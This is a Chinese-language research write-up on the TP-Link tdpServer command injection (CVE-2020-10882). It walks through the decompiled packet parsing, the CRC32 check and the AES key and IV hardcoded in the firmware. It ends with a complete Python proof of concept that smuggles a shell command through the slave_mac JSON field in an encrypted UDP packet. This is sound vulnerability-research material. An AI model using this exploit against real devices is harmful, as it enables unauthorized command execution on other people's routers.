CVE-2020-10882 tdpServer服务分析
为什么会对一个几年前的漏洞进行分析呢,因为在HITP2023AMS会议上,看到一个关于TP-Link的tdpServer的json堆栈溢出 所以我看了关于这个服务前几年的漏洞存在一个命令注入,这个命令注入是在pwn2own-tokyo由Flashback团队发现的 关于漏洞影响的版本可以访问链接。
下面就是正文,对原文中一些没有详细展开的函数点进行了分析,获取固件后解开后寻找/usr/bin/tdpServe直接给Ghidra进行分析
分析 recvfrom() 1 2 3 4 5 6 7 8 9 10 11 12 packet_len = recvfrom(__fd,UDP_data,sVar2,0 ,&sStack_b8,&local_c4); if (packet_len < 0 ) {pcVar3 = "tdpdServer.c:1039" ; pcVar4 = "tdpd recv error!!!" ; } else if (packet_len == 0 ) {pcVar3 = "tdpdServer.c:1044" ; pcVar4 = "tdpd recv close!!!" ; } else { pthread_mutex_lock((pthread_mutex_t *)&DAT_0042f47c); iVar1 = tdpd_pkt_parser((int )UDP_data,packet_len,__s,&local_c8);
第一行,调用了recvfrom()
接收UDP数据,获取UDP_data后调用tdpd_pkt_parser()
tdpd_pkt_parser() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 undefined4 tdpd_pkt_parser (int packet,int packet_len,undefined4 packet_reply,undefined4 param_4) { int iVar1; undefined4 uVar2; char *pcVar3; char *pcVar4; if (packet != 0 ) { iVar1 = return_0x10(); if (packet_len < iVar1) { print_debug("tdpdServer.c:709" ,"recvbuf length = %d, less than hdr\'s 16" ,packet_len); } else { iVar1 = tdp_get_pkt_len(packet); if (iVar1 < 1 ) { pcVar3 = "tdpdServer.c:716" ; pcVar4 = "tdp pkt is too big" ; } else { print_debug("tdpdServer.c:719" ,"tdp pkt length is %d" ,iVar1); iVar1 = tdpd_pkt_sanity_checks(packet,iVar1); if (iVar1 < 0 ) { return 0xffffffff ; } if (*(char *)(packet + 1 ) == '\0' ) { uVar2 = FUN_0040cb88(packet,packet_len,packet_reply,param_4); return uVar2; } if ((*(char *)(packet + 1 ) == -0x10 ) && (DAT_0042f0f0 == '\x01' )) { uVar2 = vuln_func_branch(packet,packet_len,packet_reply,param_4); return uVar2; } pcVar3 = "tdpdServer.c:742" ; pcVar4 = "invalid tdp packet type" ; } print_debug(pcVar3,pcVar4); } } return 0xffffffff ; }
这个函数有一下几个点
第十一行判断接收的数据长度不小于0x10,也就是16.
并且在16行tdp_get_pkt_len()函数的长度不大于0x410
在这个函数里tdpd_pkt_sanity_checks()有多个判断,判断数据包中的第一个字节是否为0x01,还进行了CRC32校验,和对第二个字节是否为0xf0.
31行判断了第二个字节是否是-0x10
进入漏洞分支vuln_func_branch()
tdp_get_pkt_len() 1 2 3 4 5 6 7 8 9 10 uint tdp_get_pkt_len (int param_1) { uint uVar1; uVar1 = 0xffffffff ; if ((param_1 != 0 ) && (uVar1 = *(ushort *)(param_1 + 4 ) + 0x10 , 0x410 < uVar1)) { uVar1 = 0xffffffff ; } return uVar1;
这个函数比较简单全部都在第七行,判断param_1不为空.*(ushort *)(param_1 + 4)
因为是ushort获取两个字节,加上0x10的长度小于0x410,而这个param_1+4
的位置是我们在数据包头设置的payload的长度,判断成功后会返回我们设置的长度,而不是0xffffffff.
tdpd_pkt_sanity_checks() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 undefined4 tdpd_pkt_sanity_checks (byte *packet,int length) { int iVar1; uint uVar2; char *pcVar3; char *pcVar4; uint uVar5; if ((packet != (byte *)0x0 ) && (iVar1 = FUN_0040d608(), length <= iVar1)) { iVar1 = FUN_0040d644(*packet); if (iVar1 == 0 ) { uVar5 = (uint)*packet; pcVar3 = "tdpdServer.c:591" ; pcVar4 = "TDP version=%x" ; } else { uVar5 = *(uint *)(packet + 0xc ); *(undefined4 *)(packet + 0xc ) = 0x5a6b7c8d ; uVar2 = CRC_32(packet,length); print_debug("tdpdServer.c:599" ,"TDP curCheckSum=%x; newCheckSum=%x" ,uVar5,uVar2); if (uVar5 == uVar2) { *(uint *)(packet + 0xc ) = uVar5; if (*(ushort *)(packet + 4 ) + 0x10 == length) { uVar5 = (uint)packet[1 ]; if ((uVar5 == 0 ) || (uVar5 == 0xf0 )) { print_debug("tdpdServer.c:643" ,"TDP sn=%x" ,*(undefined4 *)(packet + 8 )); return 0 ; } pcVar3 = "tdpdServer.c:634" ; pcVar4 = "TDP error reserved=%x" ; } else { pcVar3 = "tdpdServer.c:611" ; pcVar4 = "TDP pkt has no payload. payloadlength=%x" ; uVar5 = (uint)*(ushort *)(packet + 4 ); } } else { pcVar3 = "tdpdServer.c:602" ; pcVar4 = "TDP error checksum=%x" ; } } print_debug(pcVar3,pcVar4,uVar5); } return 0xffffffff ; }
第12行判断了数据包中第一个字节是否为0x01
第21行进行了CRC32循环冗余校验,判断数据包是否完整会进行详细的分析,但是只对代码分析不会展开讲CRC32
27行判断了第二个字节是否是0xf0,即使这里能够通过也会在tdpd_pkt_parser函数的第31行进行判断是否等于-0x10进行判断,也就是0xf0,才能进入漏洞函数分支
CRC_32() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 uint CRC_32 (byte *Data,int len) { uint uVar1; byte *Datalen; uVar1 = 0 ; if ((Data != (byte *)0x0 ) && (len != 0 )) { Datalen = Data + len; uVar1 = 0xffffffff ; for (; Data < Datalen; Data = Data + 1 ) { uVar1 = *(uint *)(&DAT_00416e90 + ((*Data ^ uVar1) & 0xff ) * 4 ) ^ uVar1 >> 8 ; } uVar1 = ~uVar1; } return uVar1; }
该函数进行了一些运算,本质上就是CRC32的校验,在写POC时可以直接使用python中的zlib.crc32去生成curCheckSum,填充到数据包中.
在第8行判断了长度和内容不为空,重要的的操作都在第11和12行,第11行简单来说就是整个data有多少个字节就循环多少次,第12行中的DAT_00416e90就是一个校验用的数据表.
核心操作: uVar1 = *(uint *)(&DAT_00416e90 + ((*Data ^ uVar1) & 0xff) * 4) ^ uVar1 >> 8;
先运行了*Data ^ uVar1
获取了Data中的第一个字节和uVar1进行异或,在第一次进入函数uVar1的值为0xffffffff,在循环完成一次后uVar1会被重新赋值为上一次的结果
完成第一步的操作后将和0xff进行逻辑与操作并乘4,假设现在的通过运行算后生成了一个叫NewData的指针
*(uint *)(&DAT_00416e90 + NewData) ^ uVar1 >> 8
现在的公式是这个样子的,因为uint
类型会从指针的位置获取4个字节,根据运算符的优先级会先运行uVar1 >> 8
在将从DAT_00416e90获取的数据和uVar1 >> 8
的结果进行异或生成我们的新的uVar1,并进入下一次循环.
一下是python对这个操作的还原,值得注意的是在最后的生成的值由于 C 语言中整数类型的表示方式是使用补码,所以我们在python中还原校验是一个负数我们需要将他转换为无符号整数,当然如果你直接使用zlib.crc32就不需要考虑这个了,在最后都需要将结果打包成一个32位大端的字节串才能够拼接Payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 reference_tbl = [ 0x00 , 0x00 , 0x00 , 0x00 , .......,0x77 , 0x07 , 0x30 , 0x96 , 0xee , ] for i in range (len (packet)): Svar = 0xffffffff packetos = packet[i] tmpe1 = ((packetos ^ Svar)&0xff ) * 4 sub_array = reference_tbl[tmpe1:tmpe1+4 ][::-1 ] byte_str = bytes (sub_array) ref = int .from_bytes(byte_str, 'little' ) Svar = ref ^ (Svar >> 8 ) checksum = ~Svar checksum_s = struct.pack('>i' , checksum) p32(checksum, endian="big" , signed=True ) checksum &= 0xffffffff p32(checksum, endian="big" )
vuln_func_branch() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 undefined4 vuln_func_branch (int packet,undefined4 packet_len,int packet_reply,int param_4,int param_5) { int iVar1; char *pcVar2; char *pcVar3; int local_c8 [43 ]; if ((((packet != 0 ) && (packet_reply != 0 )) && (param_4 != 0 )) && (iVar1 = FUN_0040e074(local_c8), iVar1 == 0 )) { print_debug("tdpdServer.c:883" ,"recv ip is %x, my ip is %x" ,param_5,local_c8[0 ]); if (param_5 == local_c8[0 ]) { print_debug("tdpdServer.c:886" ,"Ignore onemesh tdp packet to myself..." ); } else { print_debug("tdpdServer.c:890" ,"opcode %x, flags %x" ,*(undefined2 *)(packet + 2 ), *(undefined *)(packet + 6 )); switch (*(short *)(packet + 2 ) + -1 ) { case 0 : if ((*(byte *)(packet + 6 ) & 1 ) == 0 ) { pcVar2 = "tdpdServer.c:904" ; pcVar3 = "Invalid flags" ; } else { iVar1 = FUN_00412ed4(packet,packet_len,packet_reply,param_4,param_5); if (-1 < iVar1) { return 0 ; } pcVar2 = "tdpdServer.c:898" ; pcVar3 = "error processing probe request..." ; } break ; case 1 : if ((*(byte *)(packet + 6 ) & 1 ) != 0 ) { return 0 ; } pcVar2 = "tdpdServer.c:915" ; pcVar3 = "Invalid flags" ; break ; default : pcVar2 = "tdpdServer.c:966" ; pcVar3 = "Invalid operation!" ; break ; ....省略.... case 6 : if ((*(byte *)(packet + 6 ) & 1 ) == 0 ) { pcVar2 = "tdpdServer.c:958" ; pcVar3 = "Invalid flags" ; } else { iVar1 = vuln_func(packet,packet_len,packet_reply,param_4,param_5); if (-1 < iVar1) { return 0 ; } pcVar2 = "tdpdServer.c:952" ; pcVar3 = "error processing slave_key_offer request..." ; } } print_debug(pcVar2,pcVar3); } } return 0xffffffff ; }
在第12中FUN_0040e074函数中获取了config中的配置可以参考openwrt 在没有实体机的情况下需要去添加配置文件
20行获取请求头中第三四个字节并减一,去switch我们需要到53行所以需要将请求头设为7
48行对请求头中的第7个字节&1不等于0,所以需要将第7个字节设为1
vuln_func() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 local_1f70 = 0 ; if (((packet == 0 ) || (packet_reply == (undefined *)0x0 )) || (param_4 == (int *)0x0 )) { pcVar11 = "tdpOneMesh.c:2887" ; pcVar12 = "Invalid parameters" ; goto LAB_00415700; } __s = (void *)(packet + 0x10 ); memset (acStack_1498,0 ,0x400 ); iVar3 = data_decrypt(__s,*(undefined2 *)(packet + 4 ),"TPONEMESH_Kf!xn?gj6pMAt-wBNV_TDP" , acStack_1498,0x400 ); if (iVar3 != 0 ) { pcVar11 = "tdpOneMesh.c:2896" ; pcVar12 = "Failed to decrypt." ; goto LAB_00415700; } memcpy (__s,acStack_1498,sVar4); sVar4 = strlen (acStack_1498); *(short *)(packet + 4 ) = (short )sVar4; memset (acStack_1b08,0 ,0x270 ); memset (acStack_1098,0 ,0x424 ); memset (acStack_1f58,0 ,0x4e ); *packet_reply = 1 ; packet_reply[1 ] = 0xf0 ; *(undefined2 *)(packet_reply + 2 ) = 7 ; packet_reply[6 ] = 0x22 ; print_debug("tdpOneMesh.c:2915" ,"Enter..., rcvPkt->payload is %s" ,__s); iVar3 = FUN_00416468(acStack_1f58); if (iVar3 != 0 ) { print_debug("tdpOneMesh.c:2919" ,"Failed tdp_onemesh_get_onemesh_info!" ); strncpy (acStack_1e08,"Internal Error!" ,0xff ); } iVar5 = FUN_004059d8(__s); if (iVar5 == 0 ) { pcVar11 = "tdpOneMesh.c:2926" ; pcVar12 = "Invalid rcvPkt" ; goto LAB_00415700; } iVar6 = FUN_00405aa4(iVar5,"method" ); if (((iVar6 == 0 ) || (*(int *)(iVar6 + 0xc ) != 4 )) || (iVar6 = strcmp (*(char **)(iVar6 + 0x10 ),"slave_key_offer" ), iVar6 != 0 )) { pcVar11 = "tdpOneMesh.c:2934" ; pcVar12 = "Invalid method!" ; goto LAB_00415700; } iVar6 = FUN_00405aa4(iVar5,"data" ); if ((iVar6 == 0 ) || (*(int *)(iVar6 + 0xc ) != 6 )) { pcVar11 = "tdpOneMesh.c:2941" ; } else { iVar7 = FUN_00405aa4(iVar6,"group_id" ); if (iVar7 == 0 ) { pcVar11 = "tdpOneMesh.c:2948" ; } else { pcVar11 = "tdpOneMesh.c:2948" ; if (*(int *)(iVar7 + 0xc ) == 4 ) { strncpy (acStack_1b08,acStack_1f58,0x3f ); iVar7 = FUN_00405aa4(iVar6,"ip" ); if (iVar7 == 0 ) { pcVar11 = "tdpOneMesh.c:2960" ; } else { pcVar11 = "tdpOneMesh.c:2960" ; if (*(int *)(iVar7 + 0xc ) == 4 ) { strncpy (acStack_1ab6,*(char **)(iVar7 + 0x10 ),0xf ); print_debug("tdpOneMesh.c:2964" ,"slaveIp is %s" ,acStack_1ab6); iVar7 = FUN_00405aa4(iVar6,"slave_mac" ); if ((iVar7 == 0 ) || (*(int *)(iVar7 + 0xc ) != 4 )) { pcVar11 = "tdpOneMesh.c:2969" ; } else { strncpy (acStack_1ac8,*(char **)(iVar7 + 0x10 ),0x11 ); strncpy (acStack_1098,*(char **)(iVar7 + 0x10 ),0x11 ); ....后面都是这样获取的.... snprintf (acStack_1d08,0x1ff ,"lua -e \'require(\"luci.controller.admin.onemesh\").sync_wifi_specified({mac=\"%s\"})\'" ,acStack_1098);print_debug("tdpOneMesh.c:3368" ,"systemCmd: %s" ,acStack_1d08); system(acStack_1d08);
这个函数太多了就给出关键位置
第一个data_decrypt,对data进行解密,AES加密CBC模式
通过对每一个json键值解析,并赋值并且所有的数据包都不能为空
就是漏洞点了snprintf拼接slave_mac的值,只需要关合命令就可以在system中执行了,关合的方法:';command;'
主要看一下data_decrypt里面关键函数FUN_0040ade0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 undefined4 FUN_0040ade0 (byte *param_1,size_t param_2,uchar *param_3,uchar *param_4) { int iVar1; size_t sVar2; byte *pbVar3; undefined4 uVar4; uchar auStack_138 [36 ]; AES_KEY AStack_114; memcpy (auStack_138,"1234567890abcdef1234567890abcdef" ,0x21 ); memset (&AStack_114,0 ,0xf4 ); iVar1 = AES_set_decrypt_key(param_4,0x80 ,&AStack_114); if (iVar1 == 0 ) { if ((int )param_2 < 0x10 ) { param_2 = 0x10 ; } sVar2 = strlen ((char *)param_1); iVar1 = 0 ; printf ("%s() %d: inlen %d, strlen(in) %d \n" ,"aes_dec" ,0xc5 ,param_2,sVar2); pbVar3 = param_1; do { iVar1 = iVar1 + 1 ; printf ("0x%02x " ,(uint)*pbVar3); pbVar3 = param_1 + iVar1; } while (iVar1 < (int )param_2); printf ("%s() %d: data end \n" ,"aes_dec" ,0xcb ); AES_cbc_encrypt(param_1,param_3,param_2,&AStack_114,auStack_138,0 ); uVar4 = 0 ; } else { uVar4 = 0xffffffff ; } return uVar4;
end
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 import socketimport zlibfrom pwn import *from Crypto.Cipher import AESBLOCKSIZE = 16 pad = lambda s: s + (BLOCKSIZE - len (s) % BLOCKSIZE) * chr (BLOCKSIZE - len (s) % BLOCKSIZE) def MyAesEncrypt (pyload ): key = 'TPONEMESH_Kf!xn?' iv = '1234567890abcdef' cipher = AES.new(key.encode(), AES.MODE_CBC, iv.encode()) pyload = pad(pyload) print ("<===========================填充payload进行加密==============================>" ) print (repr (pyload)) ciphertext = cipher.encrypt(pyload.encode()) return ciphertext def calcChecksum (packet ): result = zlib.crc32(packet) print ("==============================================> Calculated checksum : " + hex (result)) return result cmd = "';ls > /czy;'" payload = '{"method":"slave_key_offer","data":{"group_id":"123","ip":"1.2.2.2","slave_mac":"' +cmd+'","slave_private_account":"zhiyuan","slave_private_password":"password","want_to_join":false,"model":"oooo","product_type":"oooo","operation_mode":"oooo"}}' print ("<===========================初始payload==============================>" )print (payload)print ("<===========================payload长度==============================>" )payloadlen = p16(len (pad(payload)) , endian="big" ) print (payloadlen)ennctext = MyAesEncrypt(payload) print ("<===========================加密的payload==============================>" )print (ennctext)packet = b"\x01" packet += b"\xf0" packet += b"\x00\x07" packet += b"\x01\x00" packet += b"\x01" packet += b"\x00" packet += b"\xde\xad\xbe\xef" packet += p32(0x5a6b7c8d , endian="big" ) packet += ennctext print ("<===========================payload和头部拼接==============================>" )print (packet)teem = calcChecksum(packet) result = packet[:12 ] result += p32(teem , endian="big" ) result += packet[16 :] print ("<===========================最后的payload==============================>" )print (result)ip = '127.0.0.1' port = 20002 addr= (ip,port) s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) s.sendto(result ,addr)
要注意的是在这个简单的POC中我们,并没有获取shell只是生成了一个叫czy的文件
也没有写自动更改第42行,如果更改我们payload长度也需要对第42行进行更改,payload的长度在第33行输出出来了
如果我们想要使用我们自己写的CRC32校验的话需要更改第57行
在非实体机运行tdpserver,还需要启动UBUS守护进程ubusd,否则就不会攻击成功
参考链接
https://www.zerodayinitiative.com/blog/2020/4/6/exploiting-the-tp-link-archer-c7-at-pwn2own-tokyo
https://web.archive.org/web/20201112040010/https://starlabs.sg/blog/2020/10/analysis-exploitation-of-a-recent-tp-link-archer-a7-vulnerability/